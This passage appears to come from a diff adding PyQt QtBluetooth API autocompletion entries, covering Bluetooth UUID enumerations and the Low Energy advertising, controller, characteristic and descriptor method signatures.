+QtBluetooth.QBluetoothUuid.CharacteristicType.Elevation?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Pressure?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Temperature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Humidity?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TrueWindSpeed?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TrueWindDirection?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ApparentWindSpeed?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ApparentWindDirection?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.GustFactor?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.PollenConcentration?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.UVIndex?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Irradiance?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Rainfall?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.WindChill?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.HeatIndex?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DewPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DescriptorValueChanged?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AerobicHeartRateLowerLimit?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AerobicThreshold?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Age?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AnaerobicHeartRateLowerLimit?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AnaerobicHeartRateUpperLimit?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AnaerobicThreshold?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AerobicHeartRateUpperLimit?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DateOfBirth?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DateOfThresholdAssessment?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.EmailAddress?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.FatBurnHeartRateLowerLimit?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.FatBurnHeartRateUpperLimit?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.FirstName?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.FiveZoneHeartRateLimits?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Gender?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.HeartRateMax?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Height?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.HipCircumference?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.LastName?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.MaximumRecommendedHeartRate?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.RestingHeartRate?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.SportTypeForAerobicAnaerobicThresholds?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ThreeZoneHeartRateLimits?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TwoZoneHeartRateLimits?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.VO2Max?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.WaistCircumference?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Weight?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DatabaseChangeIncrement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.UserIndex?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BodyCompositionFeature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BodyCompositionMeasurement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.WeightMeasurement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.WeightScaleFeature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.UserControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.MagneticFluxDensity2D?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.MagneticFluxDensity3D?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Language?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BarometricPressureTrend?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ServiceDiscoveryServer?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.BrowseGroupDescriptor?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.PublicBrowseGroup?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.SerialPort?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.LANAccessUsingPPP?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.DialupNetworking?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.IrMCSync?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ObexObjectPush?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.OBEXFileTransfer?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.IrMCSyncCommand?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.Headset?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.AudioSource?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.AudioSink?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.AV_RemoteControlTarget?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.AdvancedAudioDistribution?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.AV_RemoteControl?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.AV_RemoteControlController?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HeadsetAG?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.PANU?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.NAP?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.GN?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.DirectPrinting?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ReferencePrinting?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ImagingResponder?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ImagingAutomaticArchive?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ImagingReferenceObjects?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.Handsfree?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HandsfreeAudioGateway?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.DirectPrintingReferenceObjectsService?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ReflectedUI?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.BasicPrinting?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.PrintingStatus?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HumanInterfaceDeviceService?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HardcopyCableReplacement?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HCRPrint?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HCRScan?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.SIMAccess?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.PhonebookAccessPCE?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.PhonebookAccessPSE?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.PhonebookAccess?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HeadsetHS?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.MessageAccessServer?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.MessageNotificationServer?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.MessageAccessProfile?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.PnPInformation?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.GenericNetworking?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.GenericFileTransfer?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.GenericAudio?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.GenericTelephony?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.VideoSource?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.VideoSink?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.VideoDistribution?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HDP?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HDPSource?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HDPSink?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.BasicImage?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.GNSS?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.GNSSServer?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.Display3D?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.Glasses3D?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.Synchronization3D?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.MPSProfile?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.MPSService?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.GenericAccess?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.GenericAttribute?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ImmediateAlert?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.LinkLoss?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.TxPower?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.CurrentTimeService?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ReferenceTimeUpdateService?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.NextDSTChangeService?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.Glucose?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HealthThermometer?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.DeviceInformation?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HeartRate?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.PhoneAlertStatusService?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.BatteryService?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.BloodPressure?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.AlertNotificationService?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.HumanInterfaceDevice?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ScanParameters?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.RunningSpeedAndCadence?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.CyclingSpeedAndCadence?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.CyclingPower?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.LocationAndNavigation?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.EnvironmentalSensing?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.BodyComposition?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.UserData?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.WeightScale?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.BondManagement?10 +QtBluetooth.QBluetoothUuid.ServiceClassUuid.ContinuousGlucoseMonitoring?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Sdp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Udp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Rfcomm?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Tcp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.TcsBin?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.TcsAt?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Att?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Obex?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Ip?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Ftp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Http?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Wsp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Bnep?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Upnp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Hidp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.HardcopyControlChannel?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.HardcopyDataChannel?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.HardcopyNotification?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Avctp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Avdtp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.Cmtp?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.UdiCPlain?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.McapControlChannel?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.McapDataChannel?10 +QtBluetooth.QBluetoothUuid.ProtocolUuid.L2cap?10 +QtBluetooth.QBluetoothUuid?1() +QtBluetooth.QBluetoothUuid.__init__?1(self) +QtBluetooth.QBluetoothUuid?1(int) +QtBluetooth.QBluetoothUuid.__init__?1(self, int) +QtBluetooth.QBluetoothUuid?1(quint128) +QtBluetooth.QBluetoothUuid.__init__?1(self, quint128) +QtBluetooth.QBluetoothUuid?1(QString) +QtBluetooth.QBluetoothUuid.__init__?1(self, QString) +QtBluetooth.QBluetoothUuid?1(QBluetoothUuid) +QtBluetooth.QBluetoothUuid.__init__?1(self, QBluetoothUuid) +QtBluetooth.QBluetoothUuid?1(QUuid) +QtBluetooth.QBluetoothUuid.__init__?1(self, QUuid) +QtBluetooth.QBluetoothUuid.minimumSize?4() -> int +QtBluetooth.QBluetoothUuid.toUInt16?4() -> (int, bool) +QtBluetooth.QBluetoothUuid.toUInt32?4() -> (int, bool) +QtBluetooth.QBluetoothUuid.toUInt128?4() -> quint128 +QtBluetooth.QBluetoothUuid.serviceClassToString?4(QBluetoothUuid.ServiceClassUuid) -> QString +QtBluetooth.QBluetoothUuid.protocolToString?4(QBluetoothUuid.ProtocolUuid) -> QString +QtBluetooth.QBluetoothUuid.characteristicToString?4(QBluetoothUuid.CharacteristicType) -> QString +QtBluetooth.QBluetoothUuid.descriptorToString?4(QBluetoothUuid.DescriptorType) -> QString +QtBluetooth.QLowEnergyAdvertisingData.Discoverability?10 +QtBluetooth.QLowEnergyAdvertisingData.Discoverability.DiscoverabilityNone?10 +QtBluetooth.QLowEnergyAdvertisingData.Discoverability.DiscoverabilityLimited?10 +QtBluetooth.QLowEnergyAdvertisingData.Discoverability.DiscoverabilityGeneral?10 +QtBluetooth.QLowEnergyAdvertisingData?1() +QtBluetooth.QLowEnergyAdvertisingData.__init__?1(self) +QtBluetooth.QLowEnergyAdvertisingData?1(QLowEnergyAdvertisingData) +QtBluetooth.QLowEnergyAdvertisingData.__init__?1(self, QLowEnergyAdvertisingData) +QtBluetooth.QLowEnergyAdvertisingData.setLocalName?4(QString) +QtBluetooth.QLowEnergyAdvertisingData.localName?4() -> QString +QtBluetooth.QLowEnergyAdvertisingData.invalidManufacturerId?4() -> int +QtBluetooth.QLowEnergyAdvertisingData.setManufacturerData?4(int, QByteArray) +QtBluetooth.QLowEnergyAdvertisingData.manufacturerId?4() -> int +QtBluetooth.QLowEnergyAdvertisingData.manufacturerData?4() -> QByteArray +QtBluetooth.QLowEnergyAdvertisingData.setIncludePowerLevel?4(bool) +QtBluetooth.QLowEnergyAdvertisingData.includePowerLevel?4() -> bool +QtBluetooth.QLowEnergyAdvertisingData.setDiscoverability?4(QLowEnergyAdvertisingData.Discoverability) +QtBluetooth.QLowEnergyAdvertisingData.discoverability?4() -> QLowEnergyAdvertisingData.Discoverability +QtBluetooth.QLowEnergyAdvertisingData.setServices?4(unknown-type) +QtBluetooth.QLowEnergyAdvertisingData.services?4() -> unknown-type +QtBluetooth.QLowEnergyAdvertisingData.setRawData?4(QByteArray) +QtBluetooth.QLowEnergyAdvertisingData.rawData?4() -> QByteArray +QtBluetooth.QLowEnergyAdvertisingData.swap?4(QLowEnergyAdvertisingData) +QtBluetooth.QLowEnergyAdvertisingParameters.FilterPolicy?10 +QtBluetooth.QLowEnergyAdvertisingParameters.FilterPolicy.IgnoreWhiteList?10 +QtBluetooth.QLowEnergyAdvertisingParameters.FilterPolicy.UseWhiteListForScanning?10 +QtBluetooth.QLowEnergyAdvertisingParameters.FilterPolicy.UseWhiteListForConnecting?10 +QtBluetooth.QLowEnergyAdvertisingParameters.FilterPolicy.UseWhiteListForScanningAndConnecting?10 +QtBluetooth.QLowEnergyAdvertisingParameters.Mode?10 +QtBluetooth.QLowEnergyAdvertisingParameters.Mode.AdvInd?10 +QtBluetooth.QLowEnergyAdvertisingParameters.Mode.AdvScanInd?10 +QtBluetooth.QLowEnergyAdvertisingParameters.Mode.AdvNonConnInd?10 +QtBluetooth.QLowEnergyAdvertisingParameters?1() +QtBluetooth.QLowEnergyAdvertisingParameters.__init__?1(self) +QtBluetooth.QLowEnergyAdvertisingParameters?1(QLowEnergyAdvertisingParameters) +QtBluetooth.QLowEnergyAdvertisingParameters.__init__?1(self, QLowEnergyAdvertisingParameters) +QtBluetooth.QLowEnergyAdvertisingParameters.setMode?4(QLowEnergyAdvertisingParameters.Mode) +QtBluetooth.QLowEnergyAdvertisingParameters.mode?4() -> QLowEnergyAdvertisingParameters.Mode +QtBluetooth.QLowEnergyAdvertisingParameters.setWhiteList?4(unknown-type, QLowEnergyAdvertisingParameters.FilterPolicy) +QtBluetooth.QLowEnergyAdvertisingParameters.whiteList?4() -> unknown-type +QtBluetooth.QLowEnergyAdvertisingParameters.filterPolicy?4() -> QLowEnergyAdvertisingParameters.FilterPolicy +QtBluetooth.QLowEnergyAdvertisingParameters.setInterval?4(int, int) +QtBluetooth.QLowEnergyAdvertisingParameters.minimumInterval?4() -> int +QtBluetooth.QLowEnergyAdvertisingParameters.maximumInterval?4() -> int +QtBluetooth.QLowEnergyAdvertisingParameters.swap?4(QLowEnergyAdvertisingParameters) +QtBluetooth.QLowEnergyAdvertisingParameters.AddressInfo.address?7 +QtBluetooth.QLowEnergyAdvertisingParameters.AddressInfo.type?7 +QtBluetooth.QLowEnergyAdvertisingParameters.AddressInfo?1(QBluetoothAddress, QLowEnergyController.RemoteAddressType) +QtBluetooth.QLowEnergyAdvertisingParameters.AddressInfo.__init__?1(self, QBluetoothAddress, QLowEnergyController.RemoteAddressType) +QtBluetooth.QLowEnergyAdvertisingParameters.AddressInfo?1() +QtBluetooth.QLowEnergyAdvertisingParameters.AddressInfo.__init__?1(self) +QtBluetooth.QLowEnergyAdvertisingParameters.AddressInfo?1(QLowEnergyAdvertisingParameters.AddressInfo) +QtBluetooth.QLowEnergyAdvertisingParameters.AddressInfo.__init__?1(self, QLowEnergyAdvertisingParameters.AddressInfo) +QtBluetooth.QLowEnergyCharacteristic.PropertyType?10 +QtBluetooth.QLowEnergyCharacteristic.PropertyType.Unknown?10 +QtBluetooth.QLowEnergyCharacteristic.PropertyType.Broadcasting?10 +QtBluetooth.QLowEnergyCharacteristic.PropertyType.Read?10 +QtBluetooth.QLowEnergyCharacteristic.PropertyType.WriteNoResponse?10 +QtBluetooth.QLowEnergyCharacteristic.PropertyType.Write?10 +QtBluetooth.QLowEnergyCharacteristic.PropertyType.Notify?10 +QtBluetooth.QLowEnergyCharacteristic.PropertyType.Indicate?10 +QtBluetooth.QLowEnergyCharacteristic.PropertyType.WriteSigned?10 +QtBluetooth.QLowEnergyCharacteristic.PropertyType.ExtendedProperty?10 +QtBluetooth.QLowEnergyCharacteristic?1() +QtBluetooth.QLowEnergyCharacteristic.__init__?1(self) +QtBluetooth.QLowEnergyCharacteristic?1(QLowEnergyCharacteristic) +QtBluetooth.QLowEnergyCharacteristic.__init__?1(self, QLowEnergyCharacteristic) +QtBluetooth.QLowEnergyCharacteristic.name?4() -> QString +QtBluetooth.QLowEnergyCharacteristic.uuid?4() -> QBluetoothUuid +QtBluetooth.QLowEnergyCharacteristic.value?4() -> QByteArray +QtBluetooth.QLowEnergyCharacteristic.properties?4() -> QLowEnergyCharacteristic.PropertyTypes +QtBluetooth.QLowEnergyCharacteristic.handle?4() -> int +QtBluetooth.QLowEnergyCharacteristic.descriptor?4(QBluetoothUuid) -> QLowEnergyDescriptor +QtBluetooth.QLowEnergyCharacteristic.descriptors?4() -> unknown-type +QtBluetooth.QLowEnergyCharacteristic.isValid?4() -> bool +QtBluetooth.QLowEnergyCharacteristic.PropertyTypes?1() +QtBluetooth.QLowEnergyCharacteristic.PropertyTypes.__init__?1(self) +QtBluetooth.QLowEnergyCharacteristic.PropertyTypes?1(int) +QtBluetooth.QLowEnergyCharacteristic.PropertyTypes.__init__?1(self, int) +QtBluetooth.QLowEnergyCharacteristic.PropertyTypes?1(QLowEnergyCharacteristic.PropertyTypes) +QtBluetooth.QLowEnergyCharacteristic.PropertyTypes.__init__?1(self, QLowEnergyCharacteristic.PropertyTypes) +QtBluetooth.QLowEnergyCharacteristicData?1() +QtBluetooth.QLowEnergyCharacteristicData.__init__?1(self) +QtBluetooth.QLowEnergyCharacteristicData?1(QLowEnergyCharacteristicData) +QtBluetooth.QLowEnergyCharacteristicData.__init__?1(self, QLowEnergyCharacteristicData) +QtBluetooth.QLowEnergyCharacteristicData.uuid?4() -> QBluetoothUuid +QtBluetooth.QLowEnergyCharacteristicData.setUuid?4(QBluetoothUuid) +QtBluetooth.QLowEnergyCharacteristicData.value?4() -> QByteArray +QtBluetooth.QLowEnergyCharacteristicData.setValue?4(QByteArray) +QtBluetooth.QLowEnergyCharacteristicData.properties?4() -> QLowEnergyCharacteristic.PropertyTypes +QtBluetooth.QLowEnergyCharacteristicData.setProperties?4(QLowEnergyCharacteristic.PropertyTypes) +QtBluetooth.QLowEnergyCharacteristicData.descriptors?4() -> unknown-type +QtBluetooth.QLowEnergyCharacteristicData.setDescriptors?4(unknown-type) +QtBluetooth.QLowEnergyCharacteristicData.addDescriptor?4(QLowEnergyDescriptorData) +QtBluetooth.QLowEnergyCharacteristicData.setReadConstraints?4(QBluetooth.AttAccessConstraints) +QtBluetooth.QLowEnergyCharacteristicData.readConstraints?4() -> QBluetooth.AttAccessConstraints +QtBluetooth.QLowEnergyCharacteristicData.setWriteConstraints?4(QBluetooth.AttAccessConstraints) +QtBluetooth.QLowEnergyCharacteristicData.writeConstraints?4() -> QBluetooth.AttAccessConstraints +QtBluetooth.QLowEnergyCharacteristicData.setValueLength?4(int, int) +QtBluetooth.QLowEnergyCharacteristicData.minimumValueLength?4() -> int +QtBluetooth.QLowEnergyCharacteristicData.maximumValueLength?4() -> int +QtBluetooth.QLowEnergyCharacteristicData.isValid?4() -> bool +QtBluetooth.QLowEnergyCharacteristicData.swap?4(QLowEnergyCharacteristicData) +QtBluetooth.QLowEnergyConnectionParameters?1() +QtBluetooth.QLowEnergyConnectionParameters.__init__?1(self) +QtBluetooth.QLowEnergyConnectionParameters?1(QLowEnergyConnectionParameters) +QtBluetooth.QLowEnergyConnectionParameters.__init__?1(self, QLowEnergyConnectionParameters) +QtBluetooth.QLowEnergyConnectionParameters.setIntervalRange?4(float, float) +QtBluetooth.QLowEnergyConnectionParameters.minimumInterval?4() -> float +QtBluetooth.QLowEnergyConnectionParameters.maximumInterval?4() -> float +QtBluetooth.QLowEnergyConnectionParameters.setLatency?4(int) +QtBluetooth.QLowEnergyConnectionParameters.latency?4() -> int +QtBluetooth.QLowEnergyConnectionParameters.setSupervisionTimeout?4(int) +QtBluetooth.QLowEnergyConnectionParameters.supervisionTimeout?4() -> int +QtBluetooth.QLowEnergyConnectionParameters.swap?4(QLowEnergyConnectionParameters) +QtBluetooth.QLowEnergyController.Role?10 +QtBluetooth.QLowEnergyController.Role.CentralRole?10 +QtBluetooth.QLowEnergyController.Role.PeripheralRole?10 +QtBluetooth.QLowEnergyController.RemoteAddressType?10 +QtBluetooth.QLowEnergyController.RemoteAddressType.PublicAddress?10 +QtBluetooth.QLowEnergyController.RemoteAddressType.RandomAddress?10 +QtBluetooth.QLowEnergyController.ControllerState?10 +QtBluetooth.QLowEnergyController.ControllerState.UnconnectedState?10 +QtBluetooth.QLowEnergyController.ControllerState.ConnectingState?10 +QtBluetooth.QLowEnergyController.ControllerState.ConnectedState?10 +QtBluetooth.QLowEnergyController.ControllerState.DiscoveringState?10 +QtBluetooth.QLowEnergyController.ControllerState.DiscoveredState?10 +QtBluetooth.QLowEnergyController.ControllerState.ClosingState?10 +QtBluetooth.QLowEnergyController.ControllerState.AdvertisingState?10 +QtBluetooth.QLowEnergyController.Error?10 +QtBluetooth.QLowEnergyController.Error.NoError?10 +QtBluetooth.QLowEnergyController.Error.UnknownError?10 +QtBluetooth.QLowEnergyController.Error.UnknownRemoteDeviceError?10 +QtBluetooth.QLowEnergyController.Error.NetworkError?10 +QtBluetooth.QLowEnergyController.Error.InvalidBluetoothAdapterError?10 +QtBluetooth.QLowEnergyController.Error.ConnectionError?10 +QtBluetooth.QLowEnergyController.Error.AdvertisingError?10 +QtBluetooth.QLowEnergyController.Error.RemoteHostClosedError?10 +QtBluetooth.QLowEnergyController.Error.AuthorizationError?10 +QtBluetooth.QLowEnergyController?1(QBluetoothDeviceInfo, QObject parent=None) +QtBluetooth.QLowEnergyController.__init__?1(self, QBluetoothDeviceInfo, QObject parent=None) +QtBluetooth.QLowEnergyController?1(QBluetoothAddress, QObject parent=None) +QtBluetooth.QLowEnergyController.__init__?1(self, QBluetoothAddress, QObject parent=None) +QtBluetooth.QLowEnergyController?1(QBluetoothAddress, QBluetoothAddress, QObject parent=None) +QtBluetooth.QLowEnergyController.__init__?1(self, QBluetoothAddress, QBluetoothAddress, QObject parent=None) +QtBluetooth.QLowEnergyController.localAddress?4() -> QBluetoothAddress +QtBluetooth.QLowEnergyController.remoteAddress?4() -> QBluetoothAddress +QtBluetooth.QLowEnergyController.state?4() -> QLowEnergyController.ControllerState +QtBluetooth.QLowEnergyController.remoteAddressType?4() -> QLowEnergyController.RemoteAddressType +QtBluetooth.QLowEnergyController.setRemoteAddressType?4(QLowEnergyController.RemoteAddressType) +QtBluetooth.QLowEnergyController.connectToDevice?4() +QtBluetooth.QLowEnergyController.disconnectFromDevice?4() +QtBluetooth.QLowEnergyController.discoverServices?4() +QtBluetooth.QLowEnergyController.services?4() -> unknown-type +QtBluetooth.QLowEnergyController.createServiceObject?4(QBluetoothUuid, QObject parent=None) -> QLowEnergyService +QtBluetooth.QLowEnergyController.error?4() -> QLowEnergyController.Error +QtBluetooth.QLowEnergyController.errorString?4() -> QString +QtBluetooth.QLowEnergyController.remoteName?4() -> QString +QtBluetooth.QLowEnergyController.connected?4() +QtBluetooth.QLowEnergyController.disconnected?4() +QtBluetooth.QLowEnergyController.stateChanged?4(QLowEnergyController.ControllerState) +QtBluetooth.QLowEnergyController.error?4(QLowEnergyController.Error) +QtBluetooth.QLowEnergyController.serviceDiscovered?4(QBluetoothUuid) +QtBluetooth.QLowEnergyController.discoveryFinished?4() +QtBluetooth.QLowEnergyController.createCentral?4(QBluetoothDeviceInfo, QObject parent=None) -> QLowEnergyController +QtBluetooth.QLowEnergyController.createCentral?4(QBluetoothAddress, QBluetoothAddress, QObject parent=None) -> QLowEnergyController +QtBluetooth.QLowEnergyController.createPeripheral?4(QObject parent=None) -> QLowEnergyController +QtBluetooth.QLowEnergyController.startAdvertising?4(QLowEnergyAdvertisingParameters, QLowEnergyAdvertisingData, QLowEnergyAdvertisingData scanResponseData=QLowEnergyAdvertisingData()) +QtBluetooth.QLowEnergyController.stopAdvertising?4() +QtBluetooth.QLowEnergyController.addService?4(QLowEnergyServiceData, QObject parent=None) -> QLowEnergyService +QtBluetooth.QLowEnergyController.requestConnectionUpdate?4(QLowEnergyConnectionParameters) +QtBluetooth.QLowEnergyController.role?4() -> QLowEnergyController.Role +QtBluetooth.QLowEnergyController.connectionUpdated?4(QLowEnergyConnectionParameters) +QtBluetooth.QLowEnergyController.remoteDeviceUuid?4() -> QBluetoothUuid +QtBluetooth.QLowEnergyDescriptor?1() +QtBluetooth.QLowEnergyDescriptor.__init__?1(self) +QtBluetooth.QLowEnergyDescriptor?1(QLowEnergyDescriptor) +QtBluetooth.QLowEnergyDescriptor.__init__?1(self, QLowEnergyDescriptor) +QtBluetooth.QLowEnergyDescriptor.isValid?4() -> bool +QtBluetooth.QLowEnergyDescriptor.value?4() -> QByteArray +QtBluetooth.QLowEnergyDescriptor.uuid?4() -> QBluetoothUuid +QtBluetooth.QLowEnergyDescriptor.handle?4() -> int +QtBluetooth.QLowEnergyDescriptor.name?4() -> QString +QtBluetooth.QLowEnergyDescriptor.type?4() -> QBluetoothUuid.DescriptorType +QtBluetooth.QLowEnergyDescriptorData?1() +QtBluetooth.QLowEnergyDescriptorData.__init__?1(self) +QtBluetooth.QLowEnergyDescriptorData?1(QBluetoothUuid, QByteArray) +QtBluetooth.QLowEnergyDescriptorData.__init__?1(self, QBluetoothUuid, QByteArray) +QtBluetooth.QLowEnergyDescriptorData?1(QLowEnergyDescriptorData) +QtBluetooth.QLowEnergyDescriptorData.__init__?1(self, QLowEnergyDescriptorData) +QtBluetooth.QLowEnergyDescriptorData.value?4() -> QByteArray +QtBluetooth.QLowEnergyDescriptorData.setValue?4(QByteArray) +QtBluetooth.QLowEnergyDescriptorData.uuid?4() -> QBluetoothUuid +QtBluetooth.QLowEnergyDescriptorData.setUuid?4(QBluetoothUuid) 